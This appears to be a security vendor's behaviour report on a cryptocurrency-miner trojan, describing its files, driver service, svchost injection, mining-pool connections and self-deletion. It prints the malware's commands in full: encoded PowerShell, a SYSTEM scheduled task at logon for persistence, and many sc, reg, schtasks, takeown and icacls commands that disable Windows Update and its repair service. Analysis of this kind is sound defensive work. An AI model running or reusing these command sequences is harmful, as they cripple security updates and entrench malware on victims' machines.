Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\authost
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Google\Libs\WR64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Google\Libs\WR64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %APPDATA%\windows\authost.exe
- %APPDATA%\google\libs\wr64.sys
- %WINDIR%\temp\udd6dee.tmp
Deletes the following files
- %WINDIR%\temp\udd6dee.tmp
Deletes itself.
Network activity
Connects to
- 'xm#.#miners.com':2222
TCP
Other
- 'xm#.#miners.com':2222
UDP
- DNS ASK xm#.#miners.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\windows\authost.exe'
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAGEAaABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAH...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "AutHost" /tr "%APPDATA%\Windows\AutHost.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c "%APPDATA%\Windows\AutHost.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAGEAaABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAH...
- '<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\cmd.exe' cmd /c "%APPDATA%\Windows\AutHost.exe"
- '<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
- '<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
- '<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "AutHost" /tr "%APPDATA%\Windows\AutHost.exe"
- '<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "AutHost" /tr "%APPDATA%\Windows\AutHost.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGEAaABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\svchost.exe' cuqotqotvrp1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJQhejR05jhD+S8ssKdjn3SouHj4cp2bQMSgYK9waLpU63jNuMQ3TEGACq3HGFdatWB67t25T3eNtBPR9JoN2cy223kB01BPOpAunRTFuh9M3jtJXosPCY0VfKK1BUo/pvaMzpPO2JJd...
